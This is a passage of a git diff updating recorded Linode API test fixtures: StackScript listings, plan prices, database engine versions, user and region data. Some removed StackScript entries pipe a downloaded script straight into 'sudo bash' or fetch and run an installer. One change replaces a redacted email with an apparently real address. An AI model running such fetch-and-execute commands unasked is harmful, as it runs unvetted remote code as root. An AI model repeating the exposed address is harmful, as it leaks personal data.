- []}, {"id": 8501, "username": "gretongersvps66", "user_gravatar_id": "cfd4936b358ed931f5a628170dcfef25",
- "label": "ariepmuqodas", "description": "", "ordinal": 0, "logo_url": "", "images":
- ["linode/debian7"], "deployments_total": 0, "deployments_active": 0, "is_public":
- true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
- "rev_note": "Initial import", "script": "#!/bin/bash\ncurl -s https://lv.linode.com/gzkA
- | sudo bash", "user_defined_fields": []}, {"id": 9271, "username": "webuzo",
- "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Nginx powered
- by Webuzo", "description": "Nginx does mot rely on threads to handle requests.
- Instead it uses a much more scalable event-driven (asynchronous) architecture.
- This architecture uses small, but more importantly, predictable amounts of memory
- under load.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users
- deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX,
- PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nPath
- to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
- of the installation process, access http://your-ip:2004 to configure Softaculous
- Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0,
- "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts",
- "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"],
- "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
- false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
- "Nginx powered by Webuzo", "script": "#!/bin/bash\n\n###########################################################################################################\n#
- Install Nginx and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
- is a Single User Control Panel which helps users deploy Web Apps (WordPress,
- Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
- etc) on their virtual machines or in the cloud.\n#\n# About Nginx :\n# Nginx
- does mot rely on threads to handle requests. Instead it uses a much more scalable
- \n# event-driven (asynchronous) architecture. This architecture uses small,
- but more importantly, \n# predictable amounts of memory under load.\n###########################################################################################################\n\n#
- Install Nginx application using Webuzo\nfunction install_webuzo(){\n \n #
- Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >>
- /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755
- install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh
- --install=nginx >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm
- -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
- Nginx using Softaculous Webuzo\n#########################################################\n\ninstall_webuzo\n\n#
- Check the return of the above command and display the result accordingly\n\necho
- \" \"\necho \"-------------------------------------\"\necho \" Installation
- Completed \"\necho \"-------------------------------------\"\necho \"Congratulations,
- Nginx has been successfully installed\"\necho \" \"\necho \"You can now configure
- Nginx and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho
- \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields":
- []}], "page": 1, "pages": 19, "results": 1880}'
+ "user_defined_fields": []}], "page": 1, "pages": 22, "results": 2132}'
headers:
Access-Control-Allow-Credentials:
- "true"
diff --git a/test/integration/fixtures/ExampleListTypes_all.yaml b/test/integration/fixtures/ExampleListTypes_all.yaml
index 201002380..933ceaf9f 100644
--- a/test/integration/fixtures/ExampleListTypes_all.yaml
+++ b/test/integration/fixtures/ExampleListTypes_all.yaml
@@ -18,50 +18,50 @@ interactions:
0.0075, "monthly": 5.0}, "addons": {"backups": {"price": {"hourly": 0.003, "monthly":
2.0}}}, "memory": 1024, "disk": 25600, "transfer": 1000, "vcpus": 1, "gpus":
0, "network_out": 1000, "class": "nanode", "successor": null}, {"id": "g6-standard-1",
- "label": "Linode 2GB", "price": {"hourly": 0.015, "monthly": 10.0}, "addons":
+ "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": 12.0}, "addons":
{"backups": {"price": {"hourly": 0.004, "monthly": 2.5}}}, "memory": 2048, "disk":
51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class":
"standard", "successor": null}, {"id": "g6-standard-2", "label": "Linode 4GB",
- "price": {"hourly": 0.03, "monthly": 20.0}, "addons": {"backups": {"price":
+ "price": {"hourly": 0.036, "monthly": 24.0}, "addons": {"backups": {"price":
{"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer":
4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "standard", "successor":
- null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.06,
- "monthly": 40.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly":
+ null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.072,
+ "monthly": 48.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly":
10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus":
0, "network_out": 5000, "class": "standard", "successor": null}, {"id": "g6-standard-6",
- "label": "Linode 16GB", "price": {"hourly": 0.12, "monthly": 80.0}, "addons":
+ "label": "Linode 16GB", "price": {"hourly": 0.144, "monthly": 96.0}, "addons":
{"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384,
"disk": 327680, "transfer": 8000, "vcpus": 6, "gpus": 0, "network_out": 6000,
"class": "standard", "successor": null}, {"id": "g6-standard-8", "label": "Linode
- 32GB", "price": {"hourly": 0.24, "monthly": 160.0}, "addons": {"backups": {"price":
+ 32GB", "price": {"hourly": 0.288, "monthly": 192.0}, "addons": {"backups": {"price":
{"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer":
16000, "vcpus": 8, "gpus": 0, "network_out": 7000, "class": "standard", "successor":
null}, {"id": "g6-standard-16", "label": "Linode 64GB", "price": {"hourly":
- 0.48, "monthly": 320.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly":
+ 0.576, "monthly": 384.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly":
80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus":
0, "network_out": 9000, "class": "standard", "successor": null}, {"id": "g6-standard-20",
- "label": "Linode 96GB", "price": {"hourly": 0.72, "monthly": 480.0}, "addons":
+ "label": "Linode 96GB", "price": {"hourly": 0.864, "monthly": 576.0}, "addons":
{"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304,
"disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000,
"class": "standard", "successor": null}, {"id": "g6-standard-24", "label": "Linode
- 128GB", "price": {"hourly": 0.96, "monthly": 640.0}, "addons": {"backups": {"price":
- {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440, "transfer":
- 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", "successor":
- null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": {"hourly":
- 1.44, "monthly": 960.0}, "addons": {"backups": {"price": {"hourly": 0.36, "monthly":
- 240.0}}}, "memory": 196608, "disk": 3932160, "transfer": 20000, "vcpus": 32,
- "gpus": 0, "network_out": 12000, "class": "standard", "successor": null}, {"id":
- "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09, "monthly":
- 60.0}, "addons": {"backups": {"price": {"hourly": 0.0075, "monthly": 5.0}}},
- "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": 0, "network_out":
- 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2", "label":
- "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "addons": {"backups":
- {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 49152, "disk": 40960,
- "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000, "class": "highmem",
- "successor": null}, {"id": "g7-highmem-4", "label": "Linode 90GB", "price":
- {"hourly": 0.36, "monthly": 240.0}, "addons": {"backups": {"price": {"hourly":
- 0.03, "monthly": 20.0}}}, "memory": 92160, "disk": 92160, "transfer": 7000,
- "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor":
+ 128GB", "price": {"hourly": 1.152, "monthly": 768.0}, "addons": {"backups":
+ {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440,
+ "transfer": 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard",
+ "successor": null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price":
+ {"hourly": 1.728, "monthly": 1152.0}, "addons": {"backups": {"price": {"hourly":
+ 0.36, "monthly": 240.0}}}, "memory": 196608, "disk": 3932160, "transfer": 20000,
+ "vcpus": 32, "gpus": 0, "network_out": 12000, "class": "standard", "successor":
+ null}, {"id": "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09,
+ "monthly": 60.0}, "addons": {"backups": {"price": {"hourly": 0.0075, "monthly":
+ 5.0}}}, "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus":
+ 0, "network_out": 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2",
+ "label": "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "addons":
+ {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 49152,
+ "disk": 40960, "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000,
+ "class": "highmem", "successor": null}, {"id": "g7-highmem-4", "label": "Linode
+ 90GB", "price": {"hourly": 0.36, "monthly": 240.0}, "addons": {"backups": {"price":
+ {"hourly": 0.03, "monthly": 20.0}}}, "memory": 92160, "disk": 92160, "transfer":
+ 7000, "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor":
null}, {"id": "g7-highmem-8", "label": "Linode 150GB", "price": {"hourly": 0.72,
"monthly": 480.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly":
40.0}}}, "memory": 153600, "disk": 204800, "transfer": 8000, "vcpus": 8, "gpus":
@@ -70,72 +70,57 @@ interactions:
{"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 307200,
"disk": 348160, "transfer": 9000, "vcpus": 16, "gpus": 0, "network_out": 9000,
"class": "highmem", "successor": null}, {"id": "g6-dedicated-2", "label": "Dedicated
- 4GB", "price": {"hourly": 0.045, "monthly": 30.0}, "addons": {"backups": {"price":
+ 4GB", "price": {"hourly": 0.054, "monthly": 36.0}, "addons": {"backups": {"price":
{"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer":
4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "dedicated", "successor":
null}, {"id": "g6-dedicated-4", "label": "Dedicated 8GB", "price": {"hourly":
- 0.09, "monthly": 60.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly":
+ 0.108, "monthly": 72.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly":
10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus":
0, "network_out": 5000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-8",
- "label": "Dedicated 16GB", "price": {"hourly": 0.18, "monthly": 120.0}, "addons":
+ "label": "Dedicated 16GB", "price": {"hourly": 0.216, "monthly": 144.0}, "addons":
{"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384,
"disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000,
"class": "dedicated", "successor": null}, {"id": "g6-dedicated-16", "label":
- "Dedicated 32GB", "price": {"hourly": 0.36, "monthly": 240.0}, "addons": {"backups":
+ "Dedicated 32GB", "price": {"hourly": 0.432, "monthly": 288.0}, "addons": {"backups":
{"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360,
"transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "dedicated",
"successor": null}, {"id": "g6-dedicated-32", "label": "Dedicated 64GB", "price":
- {"hourly": 0.72, "monthly": 480.0}, "addons": {"backups": {"price": {"hourly":
+ {"hourly": 0.864, "monthly": 576.0}, "addons": {"backups": {"price": {"hourly":
0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 8000,
"vcpus": 32, "gpus": 0, "network_out": 8000, "class": "dedicated", "successor":
null}, {"id": "g6-dedicated-48", "label": "Dedicated 96GB", "price": {"hourly":
- 1.08, "monthly": 720.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly":
+ 1.296, "monthly": 864.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly":
120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus":
0, "network_out": 9000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-50",
- "label": "Dedicated 128GB", "price": {"hourly": 1.44, "monthly": 960.0}, "addons":
+ "label": "Dedicated 128GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "addons":
{"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072,
"disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000,
"class": "dedicated", "successor": null}, {"id": "g6-dedicated-56", "label":
- "Dedicated 256GB", "price": {"hourly": 2.88, "monthly": 1920.0}, "addons": {"backups":
- {"price": {"hourly": 0.3, "monthly": 200.0}}}, "memory": 262144, "disk": 5120000,
- "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "dedicated",
- "successor": null}, {"id": "g6-dedicated-64", "label": "Dedicated 512GB", "price":
- {"hourly": 5.76, "monthly": 3840.0}, "addons": {"backups": {"price": {"hourly":
- 0.36, "monthly": 240.0}}}, "memory": 524288, "disk": 7372800, "transfer": 12000,
- "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "dedicated", "successor":
- null}, {"id": "g1-gpu-rtx6000-1", "label": "Dedicated 32GB + RTX6000 GPU x1",
- "price": {"hourly": 1.5, "monthly": 1000.0}, "addons": {"backups": {"price":
- {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer":
- 16000, "vcpus": 8, "gpus": 1, "network_out": 10000, "class": "gpu", "successor":
- null}, {"id": "g1-gpu-rtx6000-2", "label": "Dedicated 64GB + RTX6000 GPU x2",
- "price": {"hourly": 3.0, "monthly": 2000.0}, "addons": {"backups": {"price":
- {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer":
- 20000, "vcpus": 16, "gpus": 2, "network_out": 10000, "class": "gpu", "successor":
- null}, {"id": "g1-gpu-rtx6000-3", "label": "Dedicated 96GB + RTX6000 GPU x3",
- "price": {"hourly": 4.5, "monthly": 3000.0}, "addons": {"backups": {"price":
- {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer":
- 20000, "vcpus": 20, "gpus": 3, "network_out": 10000, "class": "gpu", "successor":
- null}, {"id": "g1-gpu-rtx6000-4", "label": "Dedicated 128GB + RTX6000 GPU x4",
- "price": {"hourly": 6.0, "monthly": 4000.0}, "addons": {"backups": {"price":
- {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440, "transfer":
- 20000, "vcpus": 24, "gpus": 4, "network_out": 10000, "class": "gpu", "successor":
- null}, {"id": "g1-metal-b1", "label": "Bare Metal - Tier B Level 1", "price":
- {"hourly": 0.05, "monthly": 30.0}, "addons": {"backups": {"price": {"hourly":
- null, "monthly": null}}}, "memory": 8192, "disk": 262144, "transfer": 10000,
- "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "metal", "successor": null},
- {"id": "g1-metal-b2", "label": "Bare Metal - Tier B Level 2", "price": {"hourly":
- 0.06, "monthly": 40.0}, "addons": {"backups": {"price": {"hourly": null, "monthly":
- null}}}, "memory": 16384, "disk": 524288, "transfer": 10000, "vcpus": 16, "gpus":
- 0, "network_out": 6000, "class": "metal", "successor": null}, {"id": "g1-metal-c1",
- "label": "Bare Metal - Tier C Level 1", "price": {"hourly": 0.09, "monthly":
- 60.0}, "addons": {"backups": {"price": {"hourly": null, "monthly": null}}},
- "memory": 32768, "disk": 983040, "transfer": 10000, "vcpus": 16, "gpus": 0,
- "network_out": 6000, "class": "metal", "successor": null}, {"id": "g1-metal-c2",
- "label": "Bare Metal - Tier C Level 2", "price": {"hourly": 0.12, "monthly":
- 80.0}, "addons": {"backups": {"price": {"hourly": null, "monthly": null}}},
- "memory": 65536, "disk": 983040, "transfer": 10000, "vcpus": 32, "gpus": 0,
- "network_out": 6000, "class": "metal", "successor": null}], "page": 1, "pages":
- 1, "results": 32}'
+ "Dedicated 256GB", "price": {"hourly": 3.456, "monthly": 2304.0}, "addons":
+ {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}}}, "memory": 262144,
+ "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000,
+ "class": "dedicated", "successor": null}, {"id": "g6-dedicated-64", "label":
+ "Dedicated 512GB", "price": {"hourly": 6.912, "monthly": 4608.0}, "addons":
+ {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}}}, "memory": 524288,
+ "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000,
+ "class": "dedicated", "successor": null}, {"id": "g1-gpu-rtx6000-1", "label":
+ "Dedicated 32GB + RTX6000 GPU x1", "price": {"hourly": 1.5, "monthly": 1000.0},
+ "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory":
+ 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 1, "network_out":
+ 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-2", "label":
+ "Dedicated 64GB + RTX6000 GPU x2", "price": {"hourly": 3.0, "monthly": 2000.0},
+ "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory":
+ 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 2, "network_out":
+ 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-3", "label":
+ "Dedicated 96GB + RTX6000 GPU x3", "price": {"hourly": 4.5, "monthly": 3000.0},
+ "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory":
+ 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 3, "network_out":
+ 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-4", "label":
+ "Dedicated 128GB + RTX6000 GPU x4", "price": {"hourly": 6.0, "monthly": 4000.0},
+ "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory":
+ 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 4, "network_out":
+ 10000, "class": "gpu", "successor": null}], "page": 1, "pages": 1, "results":
+ 28}'
headers:
Access-Control-Allow-Credentials:
- "true"
diff --git a/test/integration/fixtures/ExampleListUsers.yaml b/test/integration/fixtures/ExampleListUsers.yaml
index 6ed8f0640..10273dec5 100644
--- a/test/integration/fixtures/ExampleListUsers.yaml
+++ b/test/integration/fixtures/ExampleListUsers.yaml
@@ -14,10 +14,10 @@ interactions:
url: https://api.linode.com/v4beta/account/users
method: GET
response:
- body: '{"data": [{"username": "lgarber-dev", "email": "REDACTED", "restricted":
+ body: '{"data": [{"username": "lgarber-dev", "email": "lgarber@akamai.com", "restricted":
false, "ssh_keys": ["tf_test_authorized_keys", "main", "tf_test_authorized_keys",
"dev-server-rsa", "tf_test_authorized_keys"], "tfa_enabled": true, "verified_phone_number":
- null}], "page": 1, "pages": 1, "results": 1}'
+ null, "password_created": null}], "page": 1, "pages": 1, "results": 1}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -33,7 +33,7 @@ interactions:
- private, max-age=0, s-maxage=0, no-cache, no-store
- private, max-age=60, s-maxage=60
Content-Length:
- - "301"
+ - "327"
Content-Security-Policy:
- default-src 'none'
Content-Type:
diff --git a/test/integration/fixtures/TestDatabase_Engine.yaml b/test/integration/fixtures/TestDatabase_Engine.yaml
index 956ab2caa..4c843484a 100644
--- a/test/integration/fixtures/TestDatabase_Engine.yaml
+++ b/test/integration/fixtures/TestDatabase_Engine.yaml
@@ -14,12 +14,13 @@ interactions:
url: https://api.linode.com/v4beta/databases/engines
method: GET
response:
- body: '{"data": [{"id": "mysql/5.7.30", "engine": "mysql", "version": "5.7.30"},
- {"id": "mysql/8.0.26", "engine": "mysql", "version": "8.0.26"}, {"id": "postgresql/10.14",
- "engine": "postgresql", "version": "10.14"}, {"id": "postgresql/11.11", "engine":
- "postgresql", "version": "11.11"}, {"id": "postgresql/12.6", "engine": "postgresql",
- "version": "12.6"}, {"id": "postgresql/13.2", "engine": "postgresql", "version":
- "13.2"}], "page": 1, "pages": 1, "results": 6}'
+ body: '{"data": [{"id": "mysql/5.7.39", "engine": "mysql", "version": "5.7.39"},
+ {"id": "mysql/8.0.30", "engine": "mysql", "version": "8.0.30"}, {"id": "postgresql/10.23",
+ "engine": "postgresql", "version": "10.23"}, {"id": "postgresql/11.17", "engine":
+ "postgresql", "version": "11.17"}, {"id": "postgresql/12.12", "engine": "postgresql",
+ "version": "12.12"}, {"id": "postgresql/13.8", "engine": "postgresql", "version":
+ "13.8"}, {"id": "postgresql/14.6", "engine": "postgresql", "version": "14.6"}],
+ "page": 1, "pages": 1, "results": 7}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -35,7 +36,7 @@ interactions:
- private, max-age=0, s-maxage=0, no-cache, no-store
- private, max-age=60, s-maxage=60
Content-Length:
- - "459"
+ - "531"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -73,10 +74,10 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/databases/engines/mysql/5.7.30
+ url: https://api.linode.com/v4beta/databases/engines/mysql%2F5.7.39
method: GET
response:
- body: '{"id": "mysql/5.7.30", "engine": "mysql", "version": "5.7.30"}'
+ body: '{"id": "mysql/5.7.39", "engine": "mysql", "version": "5.7.39"}'
headers:
Access-Control-Allow-Credentials:
- "true"
diff --git a/test/integration/fixtures/TestImage_GetFound.yaml b/test/integration/fixtures/TestImage_GetFound.yaml
index b3cb941d6..b32e4e9a2 100644
--- a/test/integration/fixtures/TestImage_GetFound.yaml
+++ b/test/integration/fixtures/TestImage_GetFound.yaml
@@ -11,14 +11,14 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/images/linode/ubuntu16.04lts
+ url: https://api.linode.com/v4beta/images/linode%2Fubuntu16.04lts
method: GET
response:
body: '{"id": "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated":
false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"description": "", "created_by": "linode", "type": "manual", "is_public": true,
"vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status":
- "available"}'
+ "available", "capabilities": []}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -34,7 +34,7 @@ interactions:
- private, max-age=0, s-maxage=0, no-cache, no-store
- private, max-age=60, s-maxage=60
Content-Length:
- - "332"
+ - "352"
Content-Security-Policy:
- default-src 'none'
Content-Type:
diff --git a/test/integration/fixtures/TestImage_Upload.yaml b/test/integration/fixtures/TestImage_Upload.yaml
index 24e2a5100..5241b218d 100644
--- a/test/integration/fixtures/TestImage_Upload.yaml
+++ b/test/integration/fixtures/TestImage_Upload.yaml
@@ -14,56 +14,70 @@ interactions:
url: https://api.linode.com/v4beta/regions
method: GET
response:
- body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes",
- "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall",
+ body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities":
+ ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud
+ Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status":
+ "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5",
+ "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
+ {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities":
+ ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall",
"Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers":
- {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5",
+ {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
- {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers",
- "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations",
- "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5",
+ {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities":
+ ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall",
+ "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers":
+ {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
- {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers",
- "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations",
- "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5",
+ {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities":
+ ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes",
+ "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers":
+ {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
- {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers",
- "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations",
- "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5",
+ {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes",
+ "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall",
+ "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12",
+ "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}},
+ {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities":
+ ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall",
+ "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers":
+ {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
- {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers",
- "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations",
- "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5",
+ {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes",
+ "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage
+ Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
- {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers",
